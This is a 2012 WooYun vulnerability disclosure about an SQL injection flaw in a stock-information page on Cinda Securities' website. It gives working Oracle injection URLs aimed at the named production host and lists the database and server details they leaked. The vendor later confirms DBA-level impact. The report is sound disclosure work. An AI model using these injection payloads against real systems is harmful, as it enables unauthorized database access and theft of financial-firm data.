漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-05987
漏洞标题：信达证券网站存在SQL注射漏洞
相关厂商：信达证券
漏洞作者： leaf
提交时间：2012-04-12 16:10
修复时间：2012-04-17 16:10
公开时间：2012-04-17 16:10
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-04-12： 细节已通知厂商并且等待厂商处理中
2012-04-17： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
偶然浏览该站点，抱着试试看的心理改动了下地址栏的参数值...居然发现可注入！为了进一步证明漏洞存在，简单利用下获取到部分基本信息。望厂商尽快予以修复！
详细说明：
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20exists(select%20*%20from%20dual)--
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count%20(*)%20from%20user_tables)>0--
...
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20order%20by%2013--
...
http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001'%20and%20(select%20count(*)%20from%20all_objects%20where%20object_name='UTL_HTTP')>0--
...
漏洞证明：
注入点：http://www.cindasc.com/new/news/BaseInfo9.jsp?nav=1&stockCode=600001
Web服务器主机信息: app01
Web服务器IP地址: 172.20.2.67
当前数据库名: WZGAZX30.REGRESS.RDBMS.DEV.US.ORACLE.COM
数据库字符集: SIMPLIFIED CHINESE_CHINA.ZHS16GBK
当前用户名: WZGAZX30
数据库版本: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
修复方案：
进行必要的过滤！
版权声明：转载请注明来源 leaf@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2012-04-17 16:10
厂商回复：
最新状态：
2012-04-18：报歉，没有及时确认。这个漏洞确认是高权限漏洞（DBA），可以利用进行进一步的渗透。同时，疑似存在其他非法用户添加的某系统用户。漏洞事件通过证券行业信息化主管部门（证监会信息中心）协调处置。向leaf致歉。对该漏洞评分如下：CVSS评分：(AV:R/AC:L/Au:NR/C:C/A:P/I:C/B:N) Score:9.67（最高10分，高危)即：远程攻击、攻击难度低、不需要用户认证，对机密性、完整性造成完全影响，对可用性造成部分。技术难度系数：1.0(一般，oracle的系统比较大)影响危害系数：1.4(较严重，涉及重要信息系统单位业务系统）综合评分：9.67*1.0*1.4=13.538 (rank 14)